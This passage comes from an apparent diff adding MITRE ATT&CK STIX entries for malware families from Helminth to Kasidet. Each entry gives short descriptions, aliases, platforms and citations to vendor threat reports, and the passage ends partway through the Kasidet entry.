+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Helminth](https://attack.mitre.org/software/S0170) is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)", + "id": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "external_references": [ + { + "external_id": "S0170", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0170" + }, + { + "source_name": "Helminth", + "description": "(Citation: Palo Alto OilRig May 2016)" + }, + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Helminth", + "x_mitre_contributors": [ + "Robert Falcone" + ], + "x_mitre_aliases": [ + "Helminth" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) is a remote access tool (RAT) that has characteristics similar to [Sakula](https://attack.mitre.org/software/S0074). It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)", + "id": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "external_references": [ + { + "external_id": "S0087", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0087" + }, + { + "source_name": "Fidelis Hi-Zor", + "description": "Fidelis Threat Research Team. (2016, January 27). Introducing Hi-Zor RAT. Retrieved March 24, 2016.", + "url": "http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:56.860Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Hi-Zor", + "x_mitre_aliases": [ + "Hi-Zor" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statistically linked ELF binary with stdlibc++.(Citation: Intezer HiddenWasp Map 2019)", + "id": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "external_references": [ + { + "external_id": "S0394", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0394" + }, + { + "source_name": "HiddenWasp", + "description": "(Citation: Intezer HiddenWasp Map 2019)" + }, + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Linux" + ], + "modified": "2019-07-06T22:20:35.051Z", + "type": "malware", + "created": "2019-06-24T12:04:32.323Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "HiddenWasp", + "x_mitre_aliases": [ + "HiddenWasp" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise. (Citation: Novetta-Axiom)", + "id": "malware--95047f03-4811-4300-922e-1ba937d53a61", + "external_references": [ + { + "external_id": "S0009", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0009" + }, + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:14.124Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Hikit", + "x_mitre_aliases": [ + "Hikit" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025). (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015)", + "id": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "external_references": [ + { + "external_id": "S0203", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0203" + }, + { + "source_name": "Hydraq", + "description": "(Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010)" + }, + { + "source_name": "Aurora", + "description": "(Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010)" + }, + { + "source_name": "9002 RAT", + "description": "(Citation: MicroFocus 9002 Aug 2016)" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "source_name": "MicroFocus 9002 Aug 2016", + "description": "Petrovsky, O. (2016, August 30). \u201c9002 RAT\u201d -- a second building on the left. Retrieved February 20, 2018.", + "url": "https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ" + }, + { + "source_name": "ASERT Seven Pointed Dagger Aug 2015", + "description": "ASERT. (2015, August). ASERT Threat Intelligence Report \u2013 Uncovering the Seven Pointed Dagger. Retrieved March 19, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf" + }, + { + "source_name": "FireEye DeputyDog 9002 November 2013", + "description": "Moran, N. et al.. (2013, November 10). Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method. Retrieved March 19, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html" + }, + { + "source_name": "ProofPoint GoT 9002 Aug 2017", + "description": "Huss, D. & Mesa, M. (2017, August 25). Operation RAT Cook: Chinese APT actors use fake Game of Thrones leaks as lures. Retrieved March 19, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures" + }, + { + "source_name": "FireEye Sunshop Campaign May 2013", + "description": "Moran, N. (2013, May 20). Ready for Summer: The Sunshop Campaign. Retrieved March 19, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html" + }, + { + "source_name": "PaloAlto 3102 Sept 2015", + "description": "Falcone, R. & Miller-Osborn, J. (2015, September 23). Chinese Actors Use \u20183102\u2019 Malware in Attacks on US Government and EU Media. Retrieved March 19, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Hydraq", + "x_mitre_aliases": [ + "Hydraq", + "Aurora", + "9002 RAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HyperBro ](https://attack.mitre.org/software/S0398) is a custom in-memory backdoor used by [Threat Group-3390](https://attack.mitre.org/groups/G0027).(Citation: Unit42 Emissary Panda May 2019)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)", + "id": "malware--5e814485-012d-423d-b769-026bfed0f451", + "external_references": [ + { + "external_id": "S0398", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0398" + }, + { + "source_name": "HyperBro ", + "description": "(Citation: Unit42 Emissary Panda May 2019)" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + }, + { + "source_name": "Hacker News LuckyMouse June 2018", + "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.", + "url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-07-14T21:14:18.656Z", + "type": "malware", + "created": "2019-07-09T17:42:44.777Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "HyperBro ", + "x_mitre_aliases": [ + "HyperBro " + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ISMInjector](https://attack.mitre.org/software/S0189) is a Trojan used to install another [OilRig](https://attack.mitre.org/groups/G0049) backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)", + "id": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324", + "external_references": [ + { + "external_id": "S0189", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0189" + }, + { + "source_name": "ISMInjector", + "description": "(Citation: OilRig New Delivery Oct 2017)" + }, + { + "source_name": "OilRig New Delivery Oct 2017", + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "ISMInjector", + "x_mitre_contributors": [ + "Robert Falcone" + ], + "x_mitre_aliases": [ + "ISMInjector" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) is a remote access tool that can exfiltrate files from a victim\u2019s machine. [InnaputRAT](https://attack.mitre.org/software/S0259) has been seen out in the wild since 2016. (Citation: ASERT InnaputRAT April 2018)", + "id": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "external_references": [ + { + "external_id": "S0259", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0259" + }, + { + "source_name": "InnaputRAT", + "description": "(Citation: ASERT InnaputRAT April 2018)" + }, + { + "source_name": "ASERT InnaputRAT April 2018", + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "InnaputRAT", + "x_mitre_aliases": [ + "InnaputRAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) is a modular spyware program that has been used by threat actors since at least 2013. [InvisiMole](https://attack.mitre.org/software/S0260) has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. (Citation: ESET InvisiMole June 2018)", + "id": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "external_references": [ + { + "external_id": "S0260", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0260" + }, + { + "source_name": "InvisiMole", + "description": "(Citation: ESET InvisiMole June 2018)" + }, + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "InvisiMole", + "x_mitre_aliases": [ + "InvisiMole" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) is a malware family that has been used since at least 2009 against targets in East Asia. (Citation: Moran 2013)", + "id": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "external_references": [ + { + "external_id": "S0015", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0015" + }, + { + "source_name": "Moran 2013", + "description": "Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-06-10T19:29:30.518Z", + "type": "malware", + "created": "2017-05-31T21:32:16.360Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Ixeshe", + "x_mitre_aliases": [ + "Ixeshe" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JCry](https://attack.mitre.org/software/S0389) is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.(Citation: Carbon Black JCry May 2019)", + "id": "malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82", + "external_references": [ + { + "external_id": "S0389", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0389" + }, + { + "source_name": "JCry", + "description": "(Citation: Carbon Black JCry May 2019)" + }, + { + "source_name": "Carbon Black JCry May 2019", + "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019.", + "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/" + } + ], + "x_mitre_version": "1.0", + "modified": "2019-06-30T23:03:25.914Z", + "type": "malware", + "created": "2019-06-18T17:20:43.635Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "JCry", + "x_mitre_aliases": [ + "JCry" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) is malware used by [APT28](https://attack.mitre.org/groups/G0007). It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)", + "id": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "external_references": [ + { + "external_id": "S0044", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0044" + }, + { + "source_name": "JHUHUGIT", + "description": "(Citation: FireEye APT28 January 2017)" + }, + { + "source_name": "Trojan.Sofacy", + "description": "This designation has been used in reporting both to refer to the threat group (Skeleton Key) and its associated malware.(Citation: Symantec APT28 Oct 2018)" + }, + { + "source_name": "Seduploader", + "description": "(Citation: FireEye APT28 January 2017)(Citation: Talos Seduploader Oct 2017)" + }, + { + "source_name": "JKEYSKW", + "description": "(Citation: FireEye APT28 January 2017)" + }, + { + "source_name": "Sednit", + "description": "This designation has been used in reporting both to refer to the threat group (APT28) and its associated malware.(Citation: FireEye APT28 January 2017)" + }, + { + "source_name": "GAMEFISH", + "description": "(Citation: FireEye APT28 January 2017)" + }, + { + "source_name": "SofacyCarberp", + "description": "(Citation: Unit 42 Sofacy Feb 2018)" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "source_name": "F-Secure Sofacy 2015", + "description": "F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.", + "url": "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/" + }, + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "FireEye APT28 January 2017", + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + }, + { + "source_name": "Symantec APT28 Oct 2018", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + }, + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-02-01T14:39:35.456Z", + "type": "malware", + "created": "2017-05-31T21:32:34.199Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "JHUHUGIT", + "x_mitre_aliases": [ + "JHUHUGIT", + "Trojan.Sofacy", + "Seduploader", + "JKEYSKW", + "Sednit", + "GAMEFISH", + "SofacyCarberp" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JPIN](https://attack.mitre.org/software/S0201) is a custom-built backdoor family used by [PLATINUM](https://attack.mitre.org/groups/G0068). Evidence suggests developers of [JPIN](https://attack.mitre.org/software/S0201) and [Dipsind](https://attack.mitre.org/software/S0200) code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)", + "id": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "external_references": [ + { + "external_id": "S0201", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0201" + }, + { + "source_name": "JPIN", + "description": "(Citation: Microsoft PLATINUM April 2016)" + }, + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "JPIN", + "x_mitre_contributors": [ + "Ryan Becwar" + ], + "x_mitre_aliases": [ + "JPIN" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Janicab](https://attack.mitre.org/software/S0163) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)", + "id": "malware--234e7770-99b0-4f65-b983-d3230f76a60b", + "external_references": [ + { + "external_id": "S0163", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0163" + }, + { + "source_name": "Janicab", + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "macOS" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Janicab", + "x_mitre_aliases": [ + "Janicab" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KARAE](https://attack.mitre.org/software/S0215) is a backdoor typically used by [APT37](https://attack.mitre.org/groups/G0067) as first-stage malware. (Citation: FireEye APT37 Feb 2018)", + "id": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322", + "external_references": [ + { + "external_id": "S0215", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0215" + }, + { + "source_name": "KARAE", + "description": "(Citation: FireEye APT37 Feb 2018)" + }, + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "KARAE", + "x_mitre_aliases": [ + "KARAE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) is a Trojan that has reportedly been used by the North Korean government. (Citation: US-CERT KEYMARBLE Aug 2018)", + "id": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "external_references": [ + { + "external_id": "S0271", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0271" + }, + { + "source_name": "KEYMARBLE", + "description": "(Citation: US-CERT KEYMARBLE Aug 2018)" + }, + { + "source_name": "US-CERT KEYMARBLE Aug 2018", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "KEYMARBLE", + "x_mitre_aliases": [ + "KEYMARBLE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KOMPROGO](https://attack.mitre.org/software/S0156) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050) that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)", + "id": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a", + "external_references": [ + { + "external_id": "S0156", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0156" + }, + { + "source_name": "KOMPROGO", + "description": "(Citation: FireEye APT32 May 2017)" + }, + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "KOMPROGO", + "x_mitre_aliases": [ + "KOMPROGO" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KONNI](https://attack.mitre.org/software/S0356) is a Windows remote administration too that has been seen in use since 2014 and evolved in its capabilities through at least 2017. [KONNI](https://attack.mitre.org/software/S0356) has been linked to several campaigns involving North Korean themes.(Citation: Talos Konni May 2017) [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family. There is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)", + "id": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "external_references": [ + { + "external_id": "S0356", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0356" + }, + { + "source_name": "KONNI", + "description": "(Citation: Talos Konni May 2017)" + }, + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + }, + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + }, + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "x_mitre_version": "1.1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-07-26T18:47:18.141Z", + "type": "malware", + "created": "2019-01-31T00:36:39.771Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "KONNI", + "x_mitre_aliases": [ + "KONNI" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)", + "id": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "external_references": [ + { + "external_id": "S0088", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0088" + }, + { + "source_name": "Zscaler Kasidet", + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "url": 